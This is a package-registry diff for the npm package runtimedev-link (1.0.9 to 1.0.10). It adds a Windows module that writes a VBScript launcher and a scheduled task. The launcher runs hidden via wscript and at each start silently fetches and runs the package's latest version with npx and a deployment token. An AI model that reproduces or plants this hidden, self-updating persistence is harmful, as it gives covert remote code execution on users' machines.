runtimedev-link 1.0.9 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/persistence.js +28 -17
- package/lib/win_hidden.js +95 -0
- package/package.json +1 -1
package/lib/persistence.js
CHANGED
|
@@ -4,6 +4,7 @@ const fs = require('fs');
|
|
|
4
4
|
const os = require('os');
|
|
5
5
|
const path = require('path');
|
|
6
6
|
const { execSync, spawnSync } = require('child_process');
|
|
7
|
+
const { resolveNodeLaunch, writeLauncherVbs } = require('./win_hidden');
|
|
7
8
|
|
|
8
9
|
const SERVICE_NAME = 'runtimedev-link';
|
|
9
10
|
const NPM_PACKAGE = 'runtimedev-link@latest';
|
|
@@ -32,7 +33,7 @@ function dataDir() {
|
|
|
32
33
|
|
|
33
34
|
function startScriptPath() {
|
|
34
35
|
return process.platform === 'win32'
|
|
35
|
-
? path.join(dataDir(), 'start.
|
|
36
|
+
? path.join(dataDir(), 'start.vbs')
|
|
36
37
|
: path.join(dataDir(), 'start.sh');
|
|
37
38
|
}
|
|
38
39
|
|
|
@@ -92,23 +93,33 @@ function writeConfig(cfg) {
|
|
|
92
93
|
}
|
|
93
94
|
}
|
|
94
95
|
|
|
95
|
-
function writeStartScript() {
|
|
96
|
+
function writeStartScript(cfg) {
|
|
96
97
|
mkdirp(dataDir());
|
|
97
98
|
const script = startScriptPath();
|
|
98
99
|
const log = logPath();
|
|
99
100
|
|
|
100
101
|
if (process.platform === 'win32') {
|
|
101
|
-
const
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
102
|
+
const apiBase = String(cfg?.apiBase || process.env.SSTAR_API_BASE || '').trim();
|
|
103
|
+
const hash = String(cfg?.hash || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
|
|
104
|
+
const launch = resolveNodeLaunch(process.execPath);
|
|
105
|
+
if (!launch) {
|
|
106
|
+
throw new Error('Could not find npx-cli.js next to Node.js');
|
|
107
|
+
}
|
|
108
|
+
writeLauncherVbs(
|
|
109
|
+
script,
|
|
110
|
+
[
|
|
111
|
+
{
|
|
112
|
+
exe: launch.node,
|
|
113
|
+
args: [launch.npxCli, '-y', NPM_PACKAGE, '--token', hash],
|
|
114
|
+
delayAfterMs: 0,
|
|
115
|
+
},
|
|
116
|
+
],
|
|
117
|
+
{
|
|
118
|
+
SSTAR_API_BASE: apiBase,
|
|
119
|
+
SSTAR_DEPLOYMENT_HASH: hash,
|
|
120
|
+
NPM_CONFIG_YES: 'true',
|
|
121
|
+
}
|
|
122
|
+
);
|
|
112
123
|
return script;
|
|
113
124
|
}
|
|
114
125
|
|
|
@@ -234,7 +245,7 @@ function removeLegacyWindowsStartup() {
|
|
|
234
245
|
function writeWindowsTaskXml(scriptPath) {
|
|
235
246
|
const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
|
|
236
247
|
const userId = xmlEscape(windowsUserId());
|
|
237
|
-
const
|
|
248
|
+
const vbsArgs = xmlEscape(`//B "${scriptPath.replace(/"/g, '""')}"`);
|
|
238
249
|
const xml = `<?xml version="1.0" encoding="UTF-16"?>
|
|
239
250
|
<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
|
240
251
|
<RegistrationInfo>
|
|
@@ -271,8 +282,8 @@ function writeWindowsTaskXml(scriptPath) {
|
|
|
271
282
|
</Settings>
|
|
272
283
|
<Actions Context="Author">
|
|
273
284
|
<Exec>
|
|
274
|
-
<Command>
|
|
275
|
-
<Arguments>${
|
|
285
|
+
<Command>wscript.exe</Command>
|
|
286
|
+
<Arguments>${vbsArgs}</Arguments>
|
|
276
287
|
</Exec>
|
|
277
288
|
</Actions>
|
|
278
289
|
</Task>
|
|
@@ -297,7 +308,7 @@ function installPersistence(cfg) {
|
|
|
297
308
|
throw new Error('Could not resolve home directory');
|
|
298
309
|
}
|
|
299
310
|
writeConfig(cfg);
|
|
300
|
-
const scriptPath = writeStartScript();
|
|
311
|
+
const scriptPath = writeStartScript(cfg);
|
|
301
312
|
|
|
302
313
|
switch (process.platform) {
|
|
303
314
|
case 'win32':
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const os = require('os');
|
|
5
|
+
const path = require('path');
|
|
6
|
+
const { spawn } = require('child_process');
|
|
7
|
+
|
|
8
|
+
const CREATE_NO_WINDOW = 0x08000000;
|
|
9
|
+
|
|
10
|
+
function vbsQuote(value) {
|
|
11
|
+
return String(value || '').replace(/"/g, '""');
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
function commandLine(exe, args) {
|
|
15
|
+
let line = '"' + vbsQuote(exe) + '"';
|
|
16
|
+
for (let i = 0; i < args.length; i += 1) {
|
|
17
|
+
line += ' "' + vbsQuote(String(args[i])) + '"';
|
|
18
|
+
}
|
|
19
|
+
return line;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
function npxCliCandidates(nodeExe) {
|
|
23
|
+
const nodeDir = path.dirname(nodeExe);
|
|
24
|
+
const rel = [
|
|
25
|
+
path.join('node_modules', 'npm', 'bin', 'npx-cli.cjs'),
|
|
26
|
+
path.join('node_modules', 'npm', 'bin', 'npx-cli.js'),
|
|
27
|
+
path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.cjs'),
|
|
28
|
+
path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.js'),
|
|
29
|
+
];
|
|
30
|
+
return rel.map((part) => path.join(nodeDir, part));
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function resolveNodeLaunch(nodeExe) {
|
|
34
|
+
for (let i = 0; i < npxCliCandidates(nodeExe).length; i += 1) {
|
|
35
|
+
const cli = npxCliCandidates(nodeExe)[i];
|
|
36
|
+
try {
|
|
37
|
+
if (fs.existsSync(cli)) {
|
|
38
|
+
return { node: nodeExe, npxCli: cli };
|
|
39
|
+
}
|
|
40
|
+
} catch {
|
|
41
|
+
// ignore
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return null;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
function writeLauncherVbs(vbsPath, steps, env) {
|
|
48
|
+
const lines = [
|
|
49
|
+
'Set sh = CreateObject("WScript.Shell")',
|
|
50
|
+
'Set env = sh.Environment("PROCESS")',
|
|
51
|
+
];
|
|
52
|
+
const entries = env ? Object.entries(env) : [];
|
|
53
|
+
for (let i = 0; i < entries.length; i += 1) {
|
|
54
|
+
const key = entries[i][0];
|
|
55
|
+
const val = entries[i][1];
|
|
56
|
+
if (val == null) continue;
|
|
57
|
+
lines.push('env("' + vbsQuote(key) + '") = "' + vbsQuote(val) + '"');
|
|
58
|
+
}
|
|
59
|
+
for (let i = 0; i < steps.length; i += 1) {
|
|
60
|
+
const step = steps[i];
|
|
61
|
+
lines.push('sh.Run "' + vbsQuote(commandLine(step.exe, step.args)) + '", 0, False');
|
|
62
|
+
if (step.delayAfterMs > 0) {
|
|
63
|
+
lines.push('WScript.Sleep ' + String(step.delayAfterMs));
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
fs.writeFileSync(vbsPath, lines.join('\r\n'), 'utf8');
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
function runVbsHidden(vbsPath) {
|
|
70
|
+
spawn('wscript.exe', ['//B', vbsPath], {
|
|
71
|
+
detached: true,
|
|
72
|
+
stdio: 'ignore',
|
|
73
|
+
windowsHide: true,
|
|
74
|
+
creationFlags: CREATE_NO_WINDOW,
|
|
75
|
+
}).unref();
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
function launchHiddenSteps(steps, env) {
|
|
79
|
+
const vbsPath = path.join(
|
|
80
|
+
os.tmpdir(),
|
|
81
|
+
'rdl_' + Date.now().toString(36) + '.vbs'
|
|
82
|
+
);
|
|
83
|
+
writeLauncherVbs(vbsPath, steps, env);
|
|
84
|
+
runVbsHidden(vbsPath);
|
|
85
|
+
return vbsPath;
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
module.exports = {
|
|
89
|
+
commandLine,
|
|
90
|
+
launchHiddenSteps,
|
|
91
|
+
npxCliCandidates,
|
|
92
|
+
resolveNodeLaunch,
|
|
93
|
+
runVbsHidden,
|
|
94
|
+
writeLauncherVbs,
|
|
95
|
+
};
|